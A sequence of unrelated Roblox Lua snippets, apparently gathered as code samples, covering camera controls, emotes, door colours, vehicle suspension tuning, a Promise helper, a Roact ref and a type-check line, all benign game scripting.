end local function DisableShiftlock() UserInputService.MouseBehavior = Enum.MouseBehavior.Default humanoid.AutoRotate = true UpdateImage("OFF") camera.CFrame = camera.CFrame * DISABLED_OFFSET pcall(function() active:Disconnect() active = nil end) end UpdateImage("OFF") active = false function ShiftLock() if not active then active = runservice.RenderStepped:Connect(function() EnableShiftlock() end) else DisableShiftlock() end end local ShiftLockButton = CAS:BindAction("ShiftLOCK", ShiftLock, false, "On") CAS:SetPosition("ShiftLOCK", UDim2.new(0.8, 0, 0.8, 0)) button.MouseButton1Click:Connect(function() if not active then active = runservice.RenderStepped:Connect(function() EnableShiftlock() end) else DisableShiftlock() end end) return MobileCameraFramework
-- emote bindable hook
if FFlagAnimateScriptEmoteHook then script:WaitForChild("PlayEmote").OnInvoke = function(emote) -- Only play emotes when idling if pose ~= "Standing" then return end if emoteNames[emote] ~= nil then -- Default emotes playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid) return true elseif typeof(emote) == "Instance" and emote:IsA("Animation") then -- Non-default emotes playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid) return true end -- Return false to indicate that the emote could not be played return false end end
--------RIGHT DOOR --------
game.Workspace.doorright.l11.BrickColor = BrickColor.new(1023) game.Workspace.doorright.l23.BrickColor = BrickColor.new(1023) game.Workspace.doorright.l32.BrickColor = BrickColor.new(1023) game.Workspace.doorright.l41.BrickColor = BrickColor.new(1023) game.Workspace.doorright.l53.BrickColor = BrickColor.new(1023) game.Workspace.doorright.l62.BrickColor = BrickColor.new(1023) game.Workspace.doorright.l71.BrickColor = BrickColor.new(1023) game.Workspace.doorright.l12.BrickColor = BrickColor.new(106) game.Workspace.doorright.l21.BrickColor = BrickColor.new(106) game.Workspace.doorright.l33.BrickColor = BrickColor.new(106) game.Workspace.doorright.l42.BrickColor = BrickColor.new(106) game.Workspace.doorright.l51.BrickColor = BrickColor.new(106) game.Workspace.doorright.l63.BrickColor = BrickColor.new(106) game.Workspace.doorright.l72.BrickColor = BrickColor.new(106) game.Workspace.doorright.l13.BrickColor = BrickColor.new(1013) game.Workspace.doorright.l22.BrickColor = BrickColor.new(1013) game.Workspace.doorright.l31.BrickColor = BrickColor.new(1013) game.Workspace.doorright.l43.BrickColor = BrickColor.new(1013) game.Workspace.doorright.l52.BrickColor = BrickColor.new(1013) game.Workspace.doorright.l61.BrickColor = BrickColor.new(1013) game.Workspace.doorright.l73.BrickColor = BrickColor.new(1013) game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.Lighting.flashcurrent.Value = "13"
-- Start the shimmer
local function startShimmer() shim:Play() end startShimmer()
--Front Suspension
Tune.FSusDamping = 15 -- Spring Dampening Tune.FSusStiffness = 150 -- Spring Force Tune.FAntiRoll = 1 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 5 -- Suspension length (in studs) Tune.FPreCompress = 5 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .5 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward
--[[Weight and CG]]
Tune.Weight = 3600 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--[=[ Attaches an `andThen` handler to this Promise that discards the resolved value and returns the given value from it. ```lua promise:andThenReturn("some", "values") ``` This is sugar for ```lua promise:andThen(function() return "some", "values" end) ``` :::caution Promises are eager, so if you pass a Promise to `andThenReturn`, it will begin executing before `andThenReturn` is reached in the chain. Likewise, if you pass a Promise created from [[Promise.reject]] into `andThenReturn`, it's possible that this will trigger the unhandled rejection warning. If you need to return a Promise, it's usually best practice to use [[Promise.andThen]]. ::: @param ... any -- Values to return from the function @return Promise ]=]
function Promise.prototype:andThenReturn(...) local length, values = pack(...) return self:_andThen(debug.traceback(nil, 2), function() return unpack(values, 1, length) end) end
-- Continuously compute a new body orientation to face the camera, and notify the server for replication -- Intended to be used for the local player's character
function OrientableBody:useCameraAsSource() local timeSinceLastSync = 0 self.renderStepConnection = RunService.RenderStepped:Connect(function(delta) local camera = workspace.CurrentCamera if not camera then return end local orientation = self:face(camera.CFrame.LookVector) timeSinceLastSync += delta if timeSinceLastSync > Constants.SYNC_INTERVAL and orientation then timeSinceLastSync %= Constants.SYNC_INTERVAL updateBodyOrientation:FireServer(orientation) end end) end
-- May return NaN or inf or -inf
local function findAngleBetweenXZVectors(vec2, vec1) -- This is a way of finding the angle between the two vectors: return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z) end local function CreateFollowCamera() local module = RootCameraCreator() local tweenAcceleration = math.rad(220) local tweenSpeed = math.rad(0) local tweenMaxSpeed = math.rad(250) local timeBeforeAutoRotate = 2 local lastUpdate = tick() module.LastUserPanCamera = tick() function module:Update() local now = tick() local userPanningTheCamera = (self.UserPanningTheCamera == true) local camera = workspace.CurrentCamera local player = PlayersService.LocalPlayer local humanoid = self:GetHumanoid() local cameraSubject = camera and camera.CameraSubject local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform') if lastUpdate == nil or now - lastUpdate > 1 then module:ResetCameraLook() self.LastCameraTransform = nil end if lastUpdate then -- Cap out the delta to 0.5 so we don't get some crazy things when we re-resume from local delta = math.min(0.5, now - lastUpdate) local angle = 0 if not (isInVehicle or isOnASkateboard) then angle = angle + (self.TurningLeft and -120 or 0) angle = angle + (self.TurningRight and 120 or 0) end local gamepadRotation = self:UpdateGamepad() if gamepadRotation ~= Vector2.new(0,0) then userPanningTheCamera = true self.RotateInput = self.RotateInput + gamepadRotation end if angle ~= 0 then userPanningTheCamera = true self.RotateInput = self.RotateInput + Vector2.new(math.rad(angle * delta), 0) end end -- Reset tween speed if user is panning if userPanningTheCamera then tweenSpeed = 0 module.LastUserPanCamera = tick() end local userRecentlyPannedCamera = now - module.LastUserPanCamera < timeBeforeAutoRotate local subjectPosition = self:GetSubjectPosition() if subjectPosition and player and camera then local zoom = self:GetCameraZoom() if zoom < 0.5 then zoom = 0.5 end if self:GetShiftLock() and not self:IsInFirstPerson() then local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput) local offset = ((newLookVector * XZ_VECTOR):Cross(UP_VECTOR).unit * 1.75) if IsFiniteVector3(offset) then subjectPosition = subjectPosition + offset end else if self.LastCameraTransform and not userPanningTheCamera then local isInFirstPerson = self:IsInFirstPerson() if (isClimbing or isInVehicle or isOnASkateboard) and lastUpdate and humanoid and humanoid.Torso then if isInFirstPerson then if self.LastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then local y = -findAngleBetweenXZVectors(self.LastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector) if IsFinite(y) then self.RotateInput = self.RotateInput + Vector2.new(y, 0) end tweenSpeed = 0 end elseif not userRecentlyPannedCamera then local forwardVector = humanoid.Torso.CFrame.lookVector if isOnASkateboard then forwardVector = cameraSubject.CFrame.lookVector end local timeDelta = (now - lastUpdate) tweenSpeed = clamp(0, tweenMaxSpeed, tweenSpeed + tweenAcceleration * timeDelta) local percent = clamp(0, 1, tweenSpeed * timeDelta) if not isClimbing and self:IsInFirstPerson() then percent = 1 end local y = findAngleBetweenXZVectors(forwardVector, self:GetCameraLook()) -- Check for NaN if IsFinite(y) and math.abs(y) > 0.0001 then self.RotateInput = self.RotateInput + Vector2.new(y * percent, 0) end end elseif not (isInFirstPerson or userRecentlyPannedCamera) then local lastVec = -(self.LastCameraTransform.p - subjectPosition) local y = findAngleBetweenXZVectors(lastVec, self:GetCameraLook()) -- Check for NaNs if IsFinite(y) and math.abs(y) > 0.0001 then self.RotateInput = self.RotateInput + Vector2.new(y, 0) end end end end local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput) self.RotateInput = Vector2.new() camera.Focus = CFrame.new(subjectPosition) camera.CoordinateFrame = CFrame.new(camera.Focus.p - (zoom * newLookVector), camera.Focus.p) self.LastCameraTransform = camera.CoordinateFrame if isInVehicle or isOnASkateboard and cameraSubject:IsA('BasePart') then self.LastSubjectCFrame = cameraSubject.CFrame else self.LastSubjectCFrame = nil end end lastUpdate = now end return module end return CreateFollowCamera
--[[ A ref is nothing more than a binding with a special field 'current' that maps to the getValue method of the binding ]]
local Binding = require(script.Parent.Binding) local function createRef() local binding, _ = Binding.create(nil) local ref = {} --[[ A ref is just redirected to a binding via its metatable ]] setmetatable(ref, { __index = function(self, key) if key == "current" then return binding:getValue() else return binding[key] end end, __newindex = function(self, key, value) if key == "current" then error("Cannot assign to the 'current' property of refs", 2) end binding[key] = value end, __tostring = function(self) return ("RoactRef(%s)"):format(tostring(binding:getValue())) end, }) return ref end return createRef
-- Event Bindings
DisplayIntermission.OnClientEvent:connect(OnDisplayIntermission)
--[[** ensures Roblox NumberSequence type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.NumberSequence = primitive("NumberSequence")
--// Todo: --// Window frame support for fullscreen/scale (pseudo-scale) --// Optimize/fix some stuff